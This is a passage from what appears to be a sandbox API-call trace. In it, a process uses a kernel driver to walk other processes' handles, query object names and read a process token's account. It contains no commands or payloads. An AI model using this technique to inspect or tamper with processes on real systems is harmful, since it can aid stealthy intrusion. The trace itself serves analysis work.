Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.991] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0093.991] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.991] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.991] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.991] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.991] PsAcquireProcessExitSynchronization () returned 0x0 [0093.991] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0) [0093.991] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.991] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.991] PsReleaseProcessExitSynchronization () returned 0x2 [0093.991] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0093.992] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.992] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.992] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.992] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.992] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.992] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.992] PsAcquireProcessExitSynchronization () returned 0x0 [0093.992] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0) [0093.992] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.992] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.992] PsReleaseProcessExitSynchronization () returned 0x2 [0093.992] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0093.992] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.992] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.992] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.992] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.992] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0093.992] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.992] PsAcquireProcessExitSynchronization () returned 0x0 [0093.992] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0) [0093.992] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80035087c0, HandleInformation=0x0) returned 0x0 [0093.992] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.992] PsReleaseProcessExitSynchronization () returned 0x2 [0093.992] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0093.992] ObQueryNameString (in: Object=0xfffffa80035087c0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.992] ObfDereferenceObject (Object=0xfffffa80035087c0) returned 0xb [0093.992] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.992] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.992] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0093.992] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.992] PsAcquireProcessExitSynchronization () returned 0x0 [0093.992] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0) [0093.993] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001ab88f0, HandleInformation=0x0) returned 0x0 [0093.993] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.993] PsReleaseProcessExitSynchronization () returned 0x2 [0093.993] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0093.993] ObQueryNameString (in: Object=0xfffff8a001ab88f0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.993] ObfDereferenceObject (Object=0xfffff8a001ab88f0) returned 0x2 [0093.993] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.993] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.993] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0093.993] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.993] PsAcquireProcessExitSynchronization () returned 0x0 [0093.993] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0) [0093.993] ObReferenceObjectByHandle (in: Handle=0x1ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800351aab0, HandleInformation=0x0) returned 0x0 [0093.993] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.993] PsReleaseProcessExitSynchronization () returned 0x2 [0093.993] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0093.993] ObQueryNameString (in: Object=0xfffffa800351aab0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.993] ObfDereferenceObject (Object=0xfffffa800351aab0) returned 0x1 [0093.993] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.993] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.993] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0093.993] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.993] PsAcquireProcessExitSynchronization () returned 0x0 [0093.993] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0) [0093.993] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003504d10, HandleInformation=0x0) returned 0x0 [0093.993] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.993] PsReleaseProcessExitSynchronization () returned 0x2 [0093.993] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0093.993] ObQueryNameString (in: Object=0xfffffa8003504d10, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.994] ObfDereferenceObject (Object=0xfffffa8003504d10) returned 0x11 [0093.994] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.994] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.994] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0093.994] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.994] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002b78b30, HandleInformation=0x0) returned 0x0 [0093.994] ObOpenObjectByPointer (in: Object=0xfffffa8002b78b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0093.994] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0093.994] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa80021772c0 | out: TokenHandle=0xfffffa80021772c0*=0xc8) returned 0x0 [0093.994] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0093.994] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.994] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.994] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.995] CloseHandle (hObject=0xc8) returned 1 [0093.995] CloseHandle (hObject=0xc0) returned 1 [0093.995] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.995] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.995] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.995] PsAcquireProcessExitSynchronization () returned 0x0 [0093.995] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0093.995] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800328c550, HandleInformation=0x0) returned 0x0 [0093.996] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.996] PsReleaseProcessExitSynchronization () returned 0x2 [0093.996] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0093.996] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.996] ObfDereferenceObject (Object=0xfffffa800328c550) returned 0x1 [0093.996] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.996] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.996] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.996] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.996] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.996] PsAcquireProcessExitSynchronization () returned 0x0 [0093.996] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0093.996] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800328d070, HandleInformation=0x0) returned 0x0 [0093.996] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.996] PsReleaseProcessExitSynchronization () returned 0x2 [0093.996] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0093.996] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.996] ObfDereferenceObject (Object=0xfffffa800328d070) returned 0x1 [0093.996] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.996] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.996] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.996] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.996] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.996] PsAcquireProcessExitSynchronization () returned 0x0 [0093.996] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0093.996] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003294510, HandleInformation=0x0) returned 0x0 [0093.996] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.996] PsReleaseProcessExitSynchronization () returned 0x2 [0093.996] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0093.996] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.996] ObfDereferenceObject (Object=0xfffffa8003294510) returned 0x1 [0093.996] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.997] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.997] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.997] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.997] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.997] PsAcquireProcessExitSynchronization () returned 0x0 [0093.997] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0093.997] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032943c0, HandleInformation=0x0) returned 0x0 [0093.997] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.997] PsReleaseProcessExitSynchronization () returned 0x2 [0093.997] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0093.997] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.997] ObfDereferenceObject (Object=0xfffffa80032943c0) returned 0x1 [0093.997] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.997] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.997] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.997] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0093.997] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.997] PsAcquireProcessExitSynchronization () returned 0x0 [0093.997] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0093.997] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003295070, HandleInformation=0x0) returned 0x0 [0093.997] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.997] PsReleaseProcessExitSynchronization () returned 0x2 [0093.997] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0093.997] ObQueryNameString (in: Object=0xfffffa80027ac060, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.997] ObfDereferenceObject (Object=0xfffffa8003295070) returned 0x1 [0093.997] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.997] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.997] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.997] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0093.997] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.997] PsAcquireProcessExitSynchronization () returned 0x0 [0093.997] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0093.997] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003295f20, HandleInformation=0x0) returned 0x0 [0093.997] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.997] PsReleaseProcessExitSynchronization () returned 0x2 [0093.998] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0093.998] ObQueryNameString (in: Object=0xfffffa80027b0c20, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.998] ObfDereferenceObject (Object=0xfffffa8003295f20) returned 0x1 [0093.998] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.998] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.998] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.998] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.998] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.998] PsAcquireProcessExitSynchronization () returned 0x0 [0093.998] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0093.998] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003295dd0, HandleInformation=0x0) returned 0x0 [0093.998] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.998] PsReleaseProcessExitSynchronization () returned 0x2 [0093.998] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0093.998] ObQueryNameString (in: Object=0xfffffa80027b0e40, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.998] ObfDereferenceObject (Object=0xfffffa8003295dd0) returned 0x1 [0093.998] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.998] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.998] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.998] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.998] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.998] PsAcquireProcessExitSynchronization () returned 0x0 [0093.998] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0093.998] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800329cab0, HandleInformation=0x0) returned 0x0 [0093.998] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.998] PsReleaseProcessExitSynchronization () returned 0x2 [0093.998] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0093.998] ObQueryNameString (in: Object=0xfffffa800329cab0, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.998] ObfDereferenceObject (Object=0xfffffa800329cab0) returned 0x1 [0093.998] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.998] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.998] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, 